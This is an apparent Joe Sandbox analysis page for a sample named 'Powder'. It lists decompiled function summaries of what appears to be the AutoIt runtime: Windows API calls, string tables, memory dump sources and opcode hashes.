Function 00E02FE8 Relevance: 49.5, APIs: 27, Strings: 1, Instructions: 486windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(?,?,?), ref: 00E03072
DeleteObject.GDI32(00000000), ref: 00E030B8
DeleteObject.GDI32(00000000), ref: 00E030C3
DestroyIcon.USER32(00000000,?,?,?), ref: 00E030CE
DestroyWindow.USER32(00000000,?,?,?), ref: 00E030D9
SendMessageW.USER32(?,00001308,?,00000000), ref: 00E3C77C
ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00E3C7B5
MoveWindow.USER32(?,?,?,?,?,00000000), ref: 00E3CBDE

Part of subcall function 00E01F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00E02412,?,00000000,?,?,?,?,00E01AA7,00000000,?), ref: 00E01F76

SendMessageW.USER32(?,00001053), ref: 00E3CC1B
SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00E3CC32
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00E3CC48
ImageList_Destroy.COMCTL32(00000000,?,?), ref: 00E3CC53

Strings

0, xrefs: 00E3CA72

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
String ID: 0
API String ID: 464785882-4108050209
Opcode ID: 9dbbbff7e65bd16c4fccfc6759194802c59e0eee0d9167c560850bebea467976
Instruction ID: 1393568a00bd14a665a379da005b644c8ab40cbdecfed3dcb02f12e04594e88a
Opcode Fuzzy Hash: 9dbbbff7e65bd16c4fccfc6759194802c59e0eee0d9167c560850bebea467976
Instruction Fuzzy Hash: 8D12A030605201EFDB25CF24C888BA5BBE5BF44304F64656AF985FB2A2C731ED85CB91

Function 00E127FC Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 298COMMON

Download Yara Rule

APIs

Part of subcall function 00E20FE6: std::exception::exception.LIBCMT ref: 00E2101C
Part of subcall function 00E20FE6: __CxxThrowException@8.LIBCMT ref: 00E21031

__wcsnicmp.LIBCMT ref: 00E1286A
__wcsnicmp.LIBCMT ref: 00E1287E
__wcsnicmp.LIBCMT ref: 00E12896
__wcsnicmp.LIBCMT ref: 00E128AE
__wcsnicmp.LIBCMT ref: 00E128C6
__wcsnicmp.LIBCMT ref: 00E128DE
__wcsnicmp.LIBCMT ref: 00E128F6
__wcsnicmp.LIBCMT ref: 00E1290A
__wcsnicmp.LIBCMT ref: 00E12948
__wcsnicmp.LIBCMT ref: 00E1295C
__wcsnicmp.LIBCMT ref: 00E12970
__wcsnicmp.LIBCMT ref: 00E12984

Strings

#cs, xrefs: 00E12904, 00E12956
#notrayicon, xrefs: 00E12878
#comments-start, xrefs: 00E128F0, 00E12942
#comments-end, xrefs: 00E1296A
#include-once, xrefs: 00E128C0
Bad directive syntax error, xrefs: 00E4FBD3, 00E4FBF0
#OnAutoItStartRegister, xrefs: 00E128A8
', xrefs: 00E4FB9F
Unterminated group of comments, xrefs: 00E4FCFA
", xrefs: 00E4FB89
#pragma compile, xrefs: 00E12864
#requireadmin, xrefs: 00E12890
Cannot parse #include, xrefs: 00E4FCE5
#include, xrefs: 00E128D8
#ce, xrefs: 00E1297E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: __wcsnicmp$Exception@8Throwstd::exception::exception
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 2660009612-1645009161
Opcode ID: ccec6dac26fb2da8fb9b2a5d0acf2d49c34ec1ff889ede9c255eec969b166a63
Instruction ID: 566e036d0833e98d08872c80e597b6bdd6cf7d449c4bb2fa8f18d16c3eb1a136
Opcode Fuzzy Hash: ccec6dac26fb2da8fb9b2a5d0acf2d49c34ec1ff889ede9c255eec969b166a63
Instruction Fuzzy Hash: 11A19130A00209BBCB14AF61EC42EEE77B4AF45744F14606DFA05BB296DB71DAA1D750

Function 00E77B95 Relevance: 45.8, APIs: 22, Strings: 4, Instructions: 284windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00E77BC8
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00E77C87
SetRect.USER32(?,00000000,00000000,0000012C,00000064), ref: 00E77CC5
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000006), ref: 00E77CD7
CreateWindowExW.USER32(00000006,AutoIt v3,?,88C00000,?,?,?,?,00000000,00000000,00000000), ref: 00E77D1D
GetClientRect.USER32(00000000,?), ref: 00E77D29
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000), ref: 00E77D6D
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00E77D7C
GetStockObject.GDI32(00000011), ref: 00E77D8C
SelectObject.GDI32(00000000,00000000), ref: 00E77D90
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?), ref: 00E77DA0
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00E77DA9
DeleteDC.GDI32(00000000), ref: 00E77DB2
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 00E77DDE
SendMessageW.USER32(00000030,00000000,00000001), ref: 00E77DF5
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,0000001E,00000104,00000014,00000000,00000000,00000000), ref: 00E77E30
SendMessageW.USER32(00000000,00000401,00000000,00640000), ref: 00E77E44
SendMessageW.USER32(00000404,00000001,00000000), ref: 00E77E55
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000037,00000500,00000032,00000000,00000000,00000000), ref: 00E77E85
GetStockObject.GDI32(00000011), ref: 00E77E90
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00E77E9B
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,00000018,00000000,00000000,00000000,?,88C00000,?,?,?,?), ref: 00E77EA5

Strings

DISPLAY, xrefs: 00E77D72
msctls_progress32, xrefs: 00E77E26
static, xrefs: 00E77D67, 00E77E7F
AutoIt v3, xrefs: 00E77D15

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 9319ca560ab211578a482f7f77272f534b9c8ffac1e52d25e5ca489d76a66d30
Instruction ID: 76fc886f43d3a67458aa63034f7de3f6584e749980405e86fddb8d5c8f5168e4
Opcode Fuzzy Hash: 9319ca560ab211578a482f7f77272f534b9c8ffac1e52d25e5ca489d76a66d30
Instruction Fuzzy Hash: 95A16FB1A00215AFEB14DBA5DC4AFAFBBA9EB48710F008515FA15B72E0C771AD45CF60

Function 00E6B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00E6B361
GetDriveTypeW.KERNEL32(?,00E92C4C,?,\\.\,00E90980), ref: 00E6B43E
SetErrorMode.KERNEL32(00000000,00E92C4C,?,\\.\,00E90980), ref: 00E6B59C

Strings

Fixed, xrefs: 00E6B486
Network, xrefs: 00E6B47C
ATAPI, xrefs: 00E6B510
RAMDisk, xrefs: 00E6B468
USB, xrefs: 00E6B533
FileBackedVirtual, xrefs: 00E6B56B
SCSI, xrefs: 00E6B509
ATA, xrefs: 00E6B517
SSD, xrefs: 00E6B4C9
PhysicalDrive, xrefs: 00E6B3EA
SATA, xrefs: 00E6B54F
Fibre, xrefs: 00E6B52C
Virtual, xrefs: 00E6B564
1394, xrefs: 00E6B51E
SAS, xrefs: 00E6B548
CDROM, xrefs: 00E6B472
SSA, xrefs: 00E6B525
\\.\, xrefs: 00E6B3B3
iSCSI, xrefs: 00E6B541
Unknown, xrefs: 00E6B45E, 00E6B502
RAID, xrefs: 00E6B53A
MMC, xrefs: 00E6B55D
Removable, xrefs: 00E6B490

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 969d3fa9aac59ba5044c33ad48fb1a76cb677afe9f1dc2e8471238d2012f04be
Instruction ID: a58745b4866e0d62c6ba05b6543da3e487258af46059e41f8a978f11cf0141e6
Opcode Fuzzy Hash: 969d3fa9aac59ba5044c33ad48fb1a76cb677afe9f1dc2e8471238d2012f04be
Instruction Fuzzy Hash: E3516670B80309DB8700DB60E9429FE7BE2BB457847247167E407F7291EBB1AEC18751

Function 00E8A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00E8A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00E8A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 00E8A1CC

Strings

0, xrefs: 00E8A209

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: d08954afaf19bf151e4085107938daaa3b2dbb083c4185085758c4e28dea6b13
Instruction ID: 614f065be81763c35936dc5580468f887ff48f1bd250c2b17e168908f4c70231
Opcode Fuzzy Hash: d08954afaf19bf151e4085107938daaa3b2dbb083c4185085758c4e28dea6b13
Instruction Fuzzy Hash: 0C02D170108301AFEB25DF14C848BAABBE4FF45318F08952FF99DA62A1C775D944CB52

Function 00E8AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00E8AF51
SetTextColor.GDI32(?,?), ref: 00E8AF55
GetSysColorBrush.USER32(0000000F), ref: 00E8AF6B
GetSysColor.USER32(0000000F), ref: 00E8AF76
CreateSolidBrush.GDI32(?), ref: 00E8AF7B
GetSysColor.USER32(00000011), ref: 00E8AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00E8AFA1
SelectObject.GDI32(?,00000000), ref: 00E8AFB2
SetBkColor.GDI32(?,00000000), ref: 00E8AFBB
SelectObject.GDI32(?,?), ref: 00E8AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 00E8AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00E8AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 00E8B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00E8B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00E8B086
InflateRect.USER32(?,000000FD,000000FD), ref: 00E8B0A4
DrawFocusRect.USER32(?,?), ref: 00E8B0AF
GetSysColor.USER32(00000011), ref: 00E8B0BD
SetTextColor.GDI32(?,00000000), ref: 00E8B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00E8B0D9
SelectObject.GDI32(?,00E8AC1F), ref: 00E8B0F0
DeleteObject.GDI32(?), ref: 00E8B0FB
SelectObject.GDI32(?,?), ref: 00E8B101
DeleteObject.GDI32(?), ref: 00E8B106
SetTextColor.GDI32(?,?), ref: 00E8B10C
SetBkColor.GDI32(?,?), ref: 00E8B116

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: ed5af122844450b1c15398033db622a55a5d805bd414c2d70184053a368dbb42
Instruction ID: 430512dcdec15936bc2052b6c065538ab7a210922ebbd8a1922b607dce24c92d
Opcode Fuzzy Hash: ed5af122844450b1c15398033db622a55a5d805bd414c2d70184053a368dbb42
Instruction Fuzzy Hash: 97615B72901218EFDF11AFA9DC48AAE7B79FF08320F154116FA19BB2A1D7719944CF90

Function 00E88FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00E890EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E890FB
CharNextW.USER32(0000014E), ref: 00E8912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00E8916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00E89181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00E89192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00E891AF
SetWindowTextW.USER32(?,0000014E), ref: 00E891FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00E89211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00E89242
_memset.LIBCMT ref: 00E89267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00E892B0
_memset.LIBCMT ref: 00E8930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00E89339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00E89391
SendMessageW.USER32(?,0000133D,?,?), ref: 00E8943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00E89460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E894AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00E894D7
DrawMenuBar.USER32(?), ref: 00E894E6
SetWindowTextW.USER32(?,0000014E), ref: 00E8950E

Strings

0, xrefs: 00E89478

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: ede3b9886f40ba0653be56ee8f841920704c25ec57f72adf4afacfe6d6ec4b15
Instruction ID: c36e77c66377de7f2e76048148a242764f8d59d167fb20c34590dfafc1bd75ce
Opcode Fuzzy Hash: ede3b9886f40ba0653be56ee8f841920704c25ec57f72adf4afacfe6d6ec4b15
Instruction Fuzzy Hash: 41E19F71900218AFDB21AF91CC88EFE7BB8EF05714F189156F91DBA192D7708A85DF60

Function 00E84ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00E85007
GetDesktopWindow.USER32 ref: 00E8501C
GetWindowRect.USER32(00000000), ref: 00E85023
GetWindowLongW.USER32(?,000000F0), ref: 00E85085
DestroyWindow.USER32(?), ref: 00E850B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00E850DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00E850F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00E8511E
SendMessageW.USER32(?,00000421,?,?), ref: 00E85133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00E85146
IsWindowVisible.USER32(?), ref: 00E85166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00E85181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00E85195
GetWindowRect.USER32(?,?), ref: 00E851AD
MonitorFromPoint.USER32(?,?,00000002), ref: 00E851D3
GetMonitorInfoW.USER32(00000000,?), ref: 00E851ED
CopyRect.USER32(?,?), ref: 00E85204
SendMessageW.USER32(?,00000412,00000000), ref: 00E8526F

Strings

0, xrefs: 00E84FB2
(, xrefs: 00E851E0
tooltips_class32, xrefs: 00E850D3

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: 39c9f9eea1a560ab358b3eca7f71fc65aafd8fc34753c66f60b449406c168bdb
Instruction ID: 01100ab0a803818bebe87ba006542cfa075c4583d7f3ad44506604e812fa5bc8
Opcode Fuzzy Hash: 39c9f9eea1a560ab358b3eca7f71fc65aafd8fc34753c66f60b449406c168bdb
Instruction Fuzzy Hash: 2FB17A72604740AFD704EF65C848B6ABBE4FF88314F00991DF59DAB2A1DB71E845CB92

Function 00E6498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00E6499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00E649C2
_wcscpy.LIBCMT ref: 00E649F0
_wcscmp.LIBCMT ref: 00E649FB
_wcscat.LIBCMT ref: 00E64A11
_wcsstr.LIBCMT ref: 00E64A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00E64A38
_wcscat.LIBCMT ref: 00E64A81
_wcscat.LIBCMT ref: 00E64A88
_wcsncpy.LIBCMT ref: 00E64AB3

Strings

%u.%u.%u.%u, xrefs: 00E64B16
\VarFileInfo\Translation, xrefs: 00E64A30
04090000, xrefs: 00E64A6E
DefaultLangCodepage, xrefs: 00E64A9B
StringFileInfo\, xrefs: 00E64A0B

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 105630ff08cd50cbd93ff2dac9a9bf8563f5c232aac37221d4f5bd20fbce3f51
Instruction ID: 2427ba10cac7d556b16a61cf1cce5bee56b3078d04583341f0fedafc55e5f7bb
Opcode Fuzzy Hash: 105630ff08cd50cbd93ff2dac9a9bf8563f5c232aac37221d4f5bd20fbce3f51
Instruction Fuzzy Hash: 0D412972A403147AEB15BB70AD43EBF77ECEF45350F00205AFA05B61D2FB749A0196A5

Function 00E02BA9 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00E02C8C
GetSystemMetrics.USER32(00000007), ref: 00E02C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00E02CBF
GetSystemMetrics.USER32(00000008), ref: 00E02CC7
GetSystemMetrics.USER32(00000004), ref: 00E02CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00E02D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00E02D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00E02D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00E02D60
GetClientRect.USER32(00000000,000000FF), ref: 00E02D7E
GetStockObject.GDI32(00000011), ref: 00E02D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00E02DA5

Part of subcall function 00E02714: GetCursorPos.USER32(?), ref: 00E02727
Part of subcall function 00E02714: ScreenToClient.USER32(00EC77B0,?), ref: 00E02744
Part of subcall function 00E02714: GetAsyncKeyState.USER32(00000001), ref: 00E02769
Part of subcall function 00E02714: GetAsyncKeyState.USER32(00000002), ref: 00E02777

SetTimer.USER32(00000000,00000000,00000028,00E013C7), ref: 00E02DCC

Strings

h, xrefs: 00E02BEC, 00E3C433
AutoIt v3 GUI, xrefs: 00E02D44

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI$h
API String ID: 1458621304-1309884394
Opcode ID: c15c43fbe0a387f1686bf0aa55a5f9da96a1be8925410af104e7d9f0cafcc453
Instruction ID: 81a3f0352f98c88f3d2ba3c6c3f24ebb97196e592811ffa27f0394e7e374731f
Opcode Fuzzy Hash: c15c43fbe0a387f1686bf0aa55a5f9da96a1be8925410af104e7d9f0cafcc453
Instruction Fuzzy Hash: 3BB16A71A0020A9FDB14DFA9CC89BAE7BB4FB48314F10512AFA15B62D0DB70E891CF54

Function 00E20429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00E11821: _memmove.LIBCMT ref: 00E1185B

GetForegroundWindow.USER32(00E90980,?,?,?,?,?), ref: 00E204E3
IsWindow.USER32(?), ref: 00E566BB

Strings

INSTANCE, xrefs: 00E565FA
TITLE, xrefs: 00E56650
REGEXPTITLE, xrefs: 00E564B4
REGEXPCLASS, xrefs: 00E56506
ALL, xrefs: 00E56622
LAST, xrefs: 00E56472
CLASS, xrefs: 00E564E5
ACTIVE, xrefs: 00E56488
HANDLE, xrefs: 00E5649E

Memory Dump Source

Source File: 0000000A.00000002.3570205082.0000000000E01000.00000020.00000001.01000000.00000006.sdmp, Offset: 00E00000, based on PE: true

Associated: 0000000A.00000002.3570113685.0000000000E00000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000E90000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570339653.0000000000EB6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570509646.0000000000EC0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000A.00000002.3570573452.0000000000EC9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_e00000_Powder.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: bf6cddc37981c6ec3c970a4e84812cf1971039e683d422f69ae375b7fddde787
Instruction ID: cfa5f1ebd55f754995d79fe160d31eee55cfe61053a845c4b5a43fb8fa9f8526
Opcode Fuzzy Hash: bf6cddc37981c6ec3c970a4e84812cf1971039e683d422f69ae375b7fddde787
Instruction Fuzzy Hash: DDD1A1301042029FCB04EF20D44199AFBF5BF94349F546A2AF856776A2DB70E99DCB92

Function 00E8441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00E844AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00E8456C

Strings

SELECTCLEAR, xrefs: 00E845EB
GETSELECTED, xrefs: 00E8469A
GETTEXT, xrefs: 00E84515
